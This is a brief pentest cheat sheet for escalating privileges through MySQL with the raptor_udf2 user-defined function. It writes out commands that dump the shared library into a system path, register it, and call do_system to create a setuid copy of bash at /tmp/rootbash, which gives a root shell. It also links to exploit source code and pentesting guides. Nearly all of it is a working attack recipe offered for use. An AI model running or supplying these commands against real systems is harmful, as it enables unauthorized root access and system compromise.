# MySQL Privilege Escalation

`select * from foo into dumpfile '/usr/lib/raptor_udf2.so';`

`select * from mysql.func;`

`mysql> select do_system('cp /bin/bash /tmp/rootbash; chmod +xs /tmp/rootbash');`

&#x20;&#x20;

Spawn Shell from MYSQL <https://it-tfuerst.de/2021/02/08/linux-privilege-escalation/>

Exploit Code <https://github.com/1N3/PrivEsc/blob/master/mysql/raptor_udf2.c>

Exploit Code <https://www.exploit-db.com/exploits/1518>

Mysql general info for priv esc <https://book.hacktricks.xyz/network-services-pentesting/pentesting-mysql>&#x20;

<https://book.hacktricks.xyz/linux-hardening/privilege-escalation/payloads-to-execute>
